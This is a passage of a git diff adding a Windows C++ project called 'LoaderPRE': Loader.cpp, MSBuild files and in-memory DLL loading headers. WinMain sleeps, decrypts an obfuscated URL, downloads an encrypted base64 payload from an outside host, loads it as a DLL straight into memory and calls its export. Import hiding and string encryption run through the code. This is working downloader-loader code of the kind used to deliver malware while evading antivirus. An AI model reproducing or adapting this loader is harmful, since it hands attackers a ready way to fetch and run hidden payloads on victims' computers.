urlFile = LI_FN(InternetOpenUrlA).safe_cached()(interwebs, URL.c_str(), NULL, NULL,
|
||||
INTERNET_FLAG_RELOAD | INTERNET_FLAG_NO_CACHE_WRITE, NULL);
|
||||
if (urlFile) {
|
||||
char buffer[20000];
|
||||
DWORD bytesRead;
|
||||
do {
|
||||
LI_FN(InternetReadFile).safe_cached()(urlFile, buffer, 20000, &bytesRead);
|
||||
rtn.append(buffer, bytesRead);
|
||||
LI_FN(memset).safe_cached()(buffer, 0, 20000);
|
||||
} while (bytesRead);
|
||||
LI_FN(InternetCloseHandle).safe_cached()(interwebs);
|
||||
LI_FN(InternetCloseHandle).safe_cached()(urlFile);
|
||||
return rtn;
|
||||
}
|
||||
}
|
||||
LI_FN(InternetCloseHandle).safe_cached()(interwebs);
|
||||
return rtn;
|
||||
|
||||
}
|
||||
|
||||
|
||||
std::vector<uint8_t> Base64ToBytes(std::string bobak) {
|
||||
|
||||
|
||||
|
||||
DWORD bytesNeeded;
|
||||
if (!LI_FN(CryptStringToBinaryA).safe()(bobak.c_str(), bobak.length(), CRYPT_STRING_BASE64, NULL, &bytesNeeded, NULL, NULL)) {
|
||||
|
||||
}
|
||||
|
||||
std::vector<BYTE> bytes(bytesNeeded);
|
||||
if (!LI_FN(CryptStringToBinaryA).safe()(bobak.c_str(), bobak.length(), CRYPT_STRING_BASE64, bytes.data(), &bytesNeeded, NULL, NULL)) {
|
||||
|
||||
}
|
||||
|
||||
return bytes;
|
||||
}
|
||||
|
||||
|
||||
|
||||
auto ownrdid = xorstr("//OWNERID");
|
||||
auto bldsid = xorstr("//BUILDID");
|
||||
|
||||
/*
|
||||
auto ownrdid = xorstr("rz6zarjmaf0u9jq4v53hsnz4no61k2");
|
||||
auto bldsid = xorstr("saSfsdfsdmtpimvUjW019");*/
|
||||
|
||||
|
||||
/*
|
||||
Turn it up, it's your favorite song
|
||||
Dance, dance, dance to the distortion
|
||||
Turn it up, keep it on repeat
|
||||
Stumbling around like a wasted zombie
|
||||
|
||||
*/
|
||||
|
||||
|
||||
INT WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR lpCmdLine, INT nCmdShow)
|
||||
{
|
||||
|
||||
|
||||
|
||||
|
||||
#if DEBUG_MODE
|
||||
AllocConsole();
|
||||
freopen(EC("CON"), EC("w"), stdout);
|
||||
freopen(EC("CON"), EC("w"), stderr);
|
||||
#endif
|
||||
|
||||
LI_FN(Sleep).safe_cached()(5000);
|
||||
|
||||
|
||||
|
||||
auto enc1 = xorstr("https://krispykreme.top/Stb/PokerFace/init.php?id=");
|
||||
|
||||
std::string MainURL = enc1.crypt_get();
|
||||
|
||||
enc1.crypt();
|
||||
|
||||
std::string FuncsRD = GRS();
|
||||
|
||||
//std::cout << EC("Loader ID: ") << FuncsRD << std::endl;
|
||||
|
||||
|
||||
CloudDLLLoader loader;
|
||||
|
||||
loader.loadDLLFromBytes(Base64ToBytes(decrypt(DownloadString(MainURL + FuncsRD), FuncsRD)));
|
||||
|
||||
FuncsRD.clear();
|
||||
|
||||
|
||||
|
||||
if (!loader.isLoaded()) {
|
||||
|
||||
|
||||
#if DEBUG_MODE
|
||||
std::cerr << EC("DLL not loaded!") << std::endl;
|
||||
#endif
|
||||
return 1;
|
||||
}
|
||||
|
||||
|
||||
auto MannotFucc = loader.getMannot();
|
||||
|
||||
|
||||
|
||||
|
||||
#if DEBUG_MODE
|
||||
|
||||
if (!MannotFucc)
|
||||
{
|
||||
(printf)(EC("Mainnot Failed \n"));
|
||||
}
|
||||
#endif
|
||||
|
||||
|
||||
#if DEBUG_MODE
|
||||
(printf)(EC("Beforea Enter \n"));
|
||||
|
||||
#endif
|
||||
|
||||
MannotFucc(std::string(ownrdid.crypt_get()), std::string(bldsid.crypt_get()), MainURL);
|
||||
|
||||
|
||||
|
||||
}
|
||||
|
||||
Executable
+183
@@ -0,0 +1,183 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug|x64">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<VCProjectVersion>16.0</VCProjectVersion>
|
||||
<Keyword>Win32Proj</Keyword>
|
||||
<ProjectGuid>{dcae9b38-1ed9-4806-a620-c92ec9595a45}</ProjectGuid>
|
||||
<RootNamespace>LoaderPRE</RootNamespace>
|
||||
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
|
||||
<ProjectName>LoaderPRE</ProjectName>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="Shared">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<GenerateManifest>false</GenerateManifest>
|
||||
<IncludePath>$(ProjectDir)src\qengine\engine;$(IncludePath)</IncludePath>
|
||||
<LibraryPath>$(ProjectDir)src\qengine\extern;$(LibraryPath)</LibraryPath>
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>false</SDLCheck>
|
||||
<PreprocessorDefinitions>%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>false</ConformanceMode>
|
||||
<LanguageStandard>stdcpplatest</LanguageStandard>
|
||||
<CallingConvention>VectorCall</CallingConvention>
|
||||
<RuntimeLibrary>MultiThreadedDLL</RuntimeLibrary>
|
||||
<WholeProgramOptimization>false</WholeProgramOptimization>
|
||||
<BufferSecurityCheck>false</BufferSecurityCheck>
|
||||
<InlineFunctionExpansion>AnySuitable</InlineFunctionExpansion>
|
||||
<FavorSizeOrSpeed>Speed</FavorSizeOrSpeed>
|
||||
<OmitFramePointers>true</OmitFramePointers>
|
||||
<Optimization>MinSpace</Optimization>
|
||||
<AdditionalOptions>@$(IntDir)build_seed.rsp
|
||||
/Gw %(AdditionalOptions)</AdditionalOptions>
|
||||
<RuntimeTypeInfo>false</RuntimeTypeInfo>
|
||||
<ExceptionHandling>false</ExceptionHandling>
|
||||
<OmitDefaultLibName>false</OmitDefaultLibName>
|
||||
<ControlFlowGuard>false</ControlFlowGuard>
|
||||
<LanguageStandard_C>stdc17</LanguageStandard_C>
|
||||
<DebugInformationFormat>None</DebugInformationFormat>
|
||||
<DisableLanguageExtensions>false</DisableLanguageExtensions>
|
||||
<DisableAnalyzeExternal>false</DisableAnalyzeExternal>
|
||||
<CompileAs>CompileAsCpp</CompileAs>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>false</GenerateDebugInformation>
|
||||
<AdditionalDependencies>ws2_32.lib;Normaliz.lib;Crypt32.lib;Wldap32.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<LinkTimeCodeGeneration>Default</LinkTimeCodeGeneration>
|
||||
<AdditionalOptions>/HIGHENTROPYVA
|
||||
%(AdditionalOptions)</AdditionalOptions>
|
||||
<EntryPointSymbol>
|
||||
</EntryPointSymbol>
|
||||
<IgnoreAllDefaultLibraries>
|
||||
</IgnoreAllDefaultLibraries>
|
||||
<FixedBaseAddress>false</FixedBaseAddress>
|
||||
</Link>
|
||||
<PreBuildEvent>
|
||||
<Command>powershell -NoProfile -ExecutionPolicy Bypass -Command "$r = Get-Random -Minimum 0 -Maximum 0x3FFF; Set-Content -Path '$(IntDir)build_seed.rsp' -Value ('/D BUILD_SEED=0x{0:X4}' -f $r) -Encoding ASCII -NoNewline"</Command>
|
||||
</PreBuildEvent>
|
||||
<ProjectReference>
|
||||
<LinkLibraryDependencies>false</LinkLibraryDependencies>
|
||||
</ProjectReference>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="Loader.cpp" />
|
||||
<ClCompile Include="MemoryModule.c" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="Ecy.h" />
|
||||
<ClInclude Include="MemoryModule.h" />
|
||||
<ClInclude Include="MyFunctions.h" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
</Project>
|
||||
+36
@@ -0,0 +1,36 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<Filter Include="Source Files">
|
||||
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Header Files">
|
||||
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Resource Files">
|
||||
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
|
||||
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="Loader.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="MemoryModule.c">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="Ecy.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="MemoryModule.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="MyFunctions.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
</Project>
|
||||
+4
@@ -0,0 +1,4 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<PropertyGroup />
|
||||
</Project>
|
||||
Executable
+1204
File diff suppressed because it is too large
Load Diff
Executable
+168
@@ -0,0 +1,168 @@
|
||||
/*
|
||||
* Memory DLL loading code
|
||||
* Version 0.0.4
|
||||
*
|
||||
* Copyright (c) 2004-2015 by Joachim Bauch / [email protected]
|
||||
* http://www.joachim-bauch.de
|
||||
*
|
||||
* The contents of this file are subject to the Mozilla Public License Version
|
||||
* 2.0 (the "License"); you may not use this file except in compliance with
|
||||
* the License. You may obtain a copy of the License at
|
||||
* http://www.mozilla.org/MPL/
|
||||
*
|
||||
* Software distributed under the License is distributed on an "AS IS" basis,
|
||||
* WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
|
||||
* for the specific language governing rights and limitations under the
|
||||
* License.
|
||||
*
|
||||
* The Original Code is MemoryModule.h
|
||||
*
|
||||
* The Initial Developer of the Original Code is Joachim Bauch.
|
||||
*
|
||||
* Portions created by Joachim Bauch are Copyright (C) 2004-2015
|
||||
* Joachim Bauch. All Rights Reserved.
|
||||
*
|
||||
*/
|
||||
|
||||
#ifndef __MEMORY_MODULE_HEADER
|
||||
#define __MEMORY_MODULE_HEADER
|
||||
|
||||
#include <windows.h>
|
||||
|
||||
typedef void *HMEMORYMODULE;
|
||||
|
||||
typedef void *HMEMORYRSRC;
|
||||
|
||||
typedef void *HCUSTOMMODULE;
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
typedef LPVOID (*CustomAllocFunc)(LPVOID, SIZE_T, DWORD, DWORD, void*);
|
||||
typedef BOOL (*CustomFreeFunc)(LPVOID, SIZE_T, DWORD, void*);
|
||||
typedef HCUSTOMMODULE (*CustomLoadLibraryFunc)(LPCSTR, void *);
|
||||
typedef FARPROC (*CustomGetProcAddressFunc)(HCUSTOMMODULE, LPCSTR, void *);
|
||||
typedef void (*CustomFreeLibraryFunc)(HCUSTOMMODULE, void *);
|
||||
|
||||
/**
|
||||
* Load EXE/DLL from memory location with the given size.
|
||||
*
|
||||
* All dependencies are resolved using default LoadLibrary/GetProcAddress
|
||||
* calls through the Windows API.
|
||||
*/
|
||||
HMEMORYMODULE MemoryLoadLibrary(const void *, size_t);
|
||||
|
||||
/**
|
||||
* Load EXE/DLL from memory location with the given size using custom dependency
|
||||
* resolvers.
|
||||
*
|
||||
* Dependencies will be resolved using passed callback methods.
|
||||
*/
|
||||
HMEMORYMODULE MemoryLoadLibraryEx(const void *, size_t,
|
||||
CustomAllocFunc,
|
||||
CustomFreeFunc,
|
||||
CustomLoadLibraryFunc,
|
||||
CustomGetProcAddressFunc,
|
||||
CustomFreeLibraryFunc,
|
||||
void *);
|
||||
|
||||
/**
|
||||
* Get address of exported method. Supports loading both by name and by
|
||||
* ordinal value.
|
||||
*/
|
||||
FARPROC MemoryGetProcAddress(HMEMORYMODULE, LPCSTR);
|
||||
|
||||
/**
|
||||
* Free previously loaded EXE/DLL.
|
||||
*/
|
||||
void MemoryFreeLibrary(HMEMORYMODULE);
|
||||
|
||||
/**
|
||||
* Execute entry point (EXE only). The entry point can only be executed
|
||||
* if the EXE has been loaded to the correct base address or it could
|
||||
* be relocated (i.e. relocation information have not been stripped by
|
||||
* the linker).
|
||||
*
|
||||
* Important: calling this function will not return, i.e. once the loaded
|
||||
* EXE finished running, the process will terminate.
|
||||
*
|
||||
* Returns a negative value if the entry point could not be executed.
|
||||
*/
|
||||
int MemoryCallEntryPoint(HMEMORYMODULE);
|
||||
|
||||
/**
|
||||
* Find the location of a resource with the specified type and name.
|
||||
*/
|
||||
HMEMORYRSRC MemoryFindResource(HMEMORYMODULE, LPCTSTR, LPCTSTR);
|
||||
|
||||
/**
|
||||
* Find the location of a resource with the specified type, name and language.
|
||||
*/
|
||||
HMEMORYRSRC MemoryFindResourceEx(HMEMORYMODULE, LPCTSTR, LPCTSTR, WORD);
|
||||
|
||||
/**
|
||||
* Get the size of the resource in bytes.
|
||||
*/
|
||||
DWORD MemorySizeofResource(HMEMORYMODULE, HMEMORYRSRC);
|
||||
|
||||
/**
|
||||
* Get a pointer to the contents of the resource.
|
||||
*/
|
||||
LPVOID MemoryLoadResource(HMEMORYMODULE, HMEMORYRSRC);
|
||||
|
||||
/**
|
||||
* Load a string resource.
|
||||
*/
|
||||
int MemoryLoadString(HMEMORYMODULE, UINT, LPTSTR, int);
|
||||
|
||||
/**
|
||||
* Load a string resource with a given language.
|
||||
*/
|
||||
int MemoryLoadStringEx(HMEMORYMODULE, UINT, LPTSTR, int, WORD);
|
||||
|
||||
/**
|
||||
* Default implementation of CustomAllocFunc that calls VirtualAlloc
|
||||
* internally to allocate memory for a library
|
||||
*
|
||||
* This is the default as used by MemoryLoadLibrary.
|
||||
*/
|
||||
LPVOID MemoryDefaultAlloc(LPVOID, SIZE_T, DWORD, DWORD, void *);
|
||||
|
||||
/**
|
||||
* Default implementation of CustomFreeFunc that calls VirtualFree
|
||||
* internally to free the memory used by a library
|
||||
*
|
||||
* This is the default as used by MemoryLoadLibrary.
|
||||
*/
|
||||
BOOL MemoryDefaultFree(LPVOID, SIZE_T, DWORD, void *);
|
||||
|
||||
/**
|
||||
* Default implementation of CustomLoadLibraryFunc that calls LoadLibraryA
|
||||
* internally to load an additional libary.
|
||||
*
|
||||
* This is the default as used by MemoryLoadLibrary.
|
||||
*/
|
||||
HCUSTOMMODULE MemoryDefaultLoadLibrary(LPCSTR, void *);
|
||||
|
||||
/**
|
||||
* Default implementation of CustomGetProcAddressFunc that calls GetProcAddress
|
||||
* internally to get the address of an exported function.
|
||||
*
|
||||
* This is the default as used by MemoryLoadLibrary.
|
||||
*/
|
||||
FARPROC MemoryDefaultGetProcAddress(HCUSTOMMODULE, LPCSTR, void *);
|
||||
|
||||
/**
|
||||
* Default implementation of CustomFreeLibraryFunc that calls FreeLibrary
|
||||
* internally to release an additional libary.
|
||||
*
|
||||
* This is the default as used by MemoryLoadLibrary.
|
||||
*/
|
||||
void MemoryDefaultFreeLibrary(HCUSTOMMODULE, void *);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif // __MEMORY_MODULE_HEADER
|
||||
Executable
+21
@@ -0,0 +1,21 @@
|
||||
#ifndef MYFUNCTIONS_H
|
||||
#define MYFUNCTIONS_H
|
||||
|
||||
#include <windows.h>
|
||||
#include <vector>
|
||||
#include <cstdint>
|
||||
|
||||
#ifdef MYFUNCTIONS_EXPORTS
|
||||
#define MYFUNCTIONS_API __declspec(dllexport)
|
||||
#else
|
||||
#define MYFUNCTIONS_API __declspec(dllimport)
|
||||
#endif
|
||||
|
||||
extern "C" {
|
||||
|
||||
MYFUNCTIONS_API int Mannot(std::string ownrdid, std::string bldsid, std::string MainURL);
|
||||
|
||||
|
||||
}
|
||||
|
||||
#endif
|
||||
Reference in New Issue
Block a user